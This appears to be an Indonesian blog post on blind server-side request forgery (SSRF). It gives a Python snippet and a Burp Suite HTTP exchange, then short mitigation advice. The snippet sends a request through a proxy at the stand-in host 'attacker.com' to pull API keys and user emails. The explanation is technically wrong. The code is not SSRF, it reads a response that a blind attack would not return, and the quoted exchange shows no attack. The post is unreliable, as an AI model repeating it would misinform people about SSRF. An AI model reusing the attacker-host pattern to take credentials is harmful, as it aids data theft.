Blind SSRF Vulnerability Exploits



Server Side Request Forgery (SSRF) adalah teknik serangan yang memungkinkan penyerang untuk memaksa sistem untuk membuat permintaan ke luar jaringan dengan memanfaatkan cacat keamanan pada aplikasi web. Dalam serangan SSRF, penyerang biasanya akan melakukan permintaan ke server target melalui web proxy untuk memperoleh informasi yang sensitif seperti API keys atau data pengguna.

Blind SSRF adalah jenis serangan SSRF di mana penyerang tidak menerima respon langsung dari sistem target. Sebaliknya, penyerang akan membuat permintaan ke sistem target untuk mendapatkan informasi sensitif dan akan mengambil tindakan selanjutnya berdasarkan pada respon yang tidak langsung. Ada beberapa teknik yang dapat digunakan untuk mengidentifikasi dan mengeksploitasi blind SSRF.

Salah satu teknik yang paling umum digunakan adalah Blind SSRF melalui API. Dalam teknik ini, penyerang memanfaatkan API pada sistem target untuk membuat permintaan ke sistem lainnya sekaligus mengambil informasi sensitif. Potongan kode berikut menunjukkan contoh bagaimana teknik blind SSRF melalui API dapat dimanfaatkan untuk memperoleh informasi sensitif.



import requests
import json

url = 'http://target.com/api/user/profile'
proxy = 'http://attacker.com/proxy.php?url='
target_url = proxy + url

# Blind SSRF Request
response = requests.get(target_url)

# Response Handling
if response.status_code == 200:
    json_data = json.loads(response.text)
    # Extracting Sensitive Data
    api_key = json_data['api_key']
    user_email = json_data['email']


Kode di atas memanfaatkan sebuah API pada sistem target untuk memperoleh informasi sensitif. Permintaan diarahkan melalui proxy server yang dikendalikan oleh penyerang sehingga penyerang dapat memanfaatkan API untuk melakukan permintaan ke sistem lain sekaligus menerima respon yang tidak langsung. Dalam hal ini, API pada sistem target digunakan untuk memperoleh informasi sensitif seperti API keys dan data pengguna.

Burp Suite, alat pengujian penetrasi, dapat digunakan untuk mendeteksi dan menganalisis blind SSRF. Berikut adalah contoh kode respon yang mungkin muncul pada Burp Suite jika terjadi serangan blind SSRF melalui API:



GET http://target.com/api/user/profile HTTP/1.1
Host: target.com
Connection: keep-alive
Authorization: Bearer 
User-Agent: Mozilla/5.0
Accept: */*
Referer: https://target.com/dashboard
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 07 Apr 2021 12:48:49 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization, Content-Length, X-Requested-With
ETag: W/"1c0-NPchE3cn3nCE5y8F7lt8QxsJrNc"


Respon di atas menunjukkan bahwa penyerang berhasil melakukan serangan melalui API pada sistem target.

Dalam rangka meminimalkan risiko serangan blind SSRF, perlu dilakukan pemeriksaan firewall dan konfigurasi penyaringan data secara baik. Selain itu, penting juga untuk memperbarui regulasi kebijakan keamanan dan memperkuat tindakan pemantauan sistem untuk mencegah serangan blind SSRF melalui API. Terakhir, penggunaan alat pengujian penetrasi seperti Burp Suite dapat membantu secara signifikan dalam mendeteksi dan mengatasi serangan blind SSRF yang mungkin terjadi pada sistem.

0 Komentar